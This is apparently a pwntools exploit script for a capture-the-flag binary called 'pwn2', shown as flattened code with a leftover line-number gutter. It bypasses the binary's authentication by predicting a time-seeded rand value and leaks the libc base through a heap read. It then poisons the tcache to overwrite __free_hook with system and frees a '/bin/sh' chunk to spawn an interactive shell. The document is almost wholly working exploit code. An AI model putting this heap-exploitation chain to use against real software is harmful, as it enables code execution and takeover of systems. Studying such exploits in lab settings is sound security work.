1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| from pwn import * from ctypes import *
r = process('./pwn2') e = ELF('./pwn2') libc = e.libc context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' dll = cdll.LoadLibrary("libc.so.6")
se = lambda data :r.send(data) sa = lambda delim,data :r.sendafter(delim, data) sl = lambda data :r.sendline(data) sla = lambda delim,data :r.sendlineafter(delim, data) sea = lambda delim,data :r.sendafter(delim, data) rc = lambda numb=4096 :r.recv(numb) rl = lambda :r.recvline() ru = lambda delims :r.recvuntil(delims) uu32 = lambda data :u32(ru(data)[-4:].ljust(4, b'\0')) uu64 = lambda data :u64(ru(data)[-6:].ljust(8, b'\0')) info_base = lambda tag, base :r.info(tag + ': {:#x}'.format(base)) leak = lambda name,base :log.success('{} = {:#x}'.format(name, base))
dll.srand(dll.time()) def dbg(cmd): gdb.attach(r,cmd) pause()
def add(idx,size,cont): ru(b'>\n') se(b'POST / HTTP/1.0 \r\n'+b'\x01'+b'&'+str(idx).encode()+b'&'+str(size).encode()+b'&'+cont +b'&')
def edit(idx,cont): ru(b'>\n') se(b'POST / HTTP/1.0 \r\n'+b'\x02'+b'&'+str(idx).encode()+b'&'+ cont +b'&') def show(idx): ru(b'>\n') se(b'POST / HTTP/1.0 \r\n'+b'\x03'+b'&'+str(idx).encode()) def delete(idx): ru(b'>\n') se(b'POST / HTTP/1.0 \r\n'+b'\x04'+b'&'+str(idx).encode())
num = dll.rand()
ru(b'>\n') se(b'DEV / HTTP1.0 \r\n' + p32(num) + b"auth") add(0,0x48,b'a') show(0) libc_base = uu64(b'\x7f')-0x1ecb61 og = [0xe3afe,0xe3b01,0xe3b04] free_hook = libc_base + libc.sym['__free_hook'] sys = libc_base + libc.sym['system'] leak('libc_base',libc_base) add(1,0x48,b'b') add(2,0x48,b'b') delete(2) delete(1) pl1 = b'a'*0x20 + p64(free_hook) edit(0,pl1) add(3,0x48,b'/bin/sh\x00') add(1,0x48,p64(sys)) delete(3)
r.interactive()
|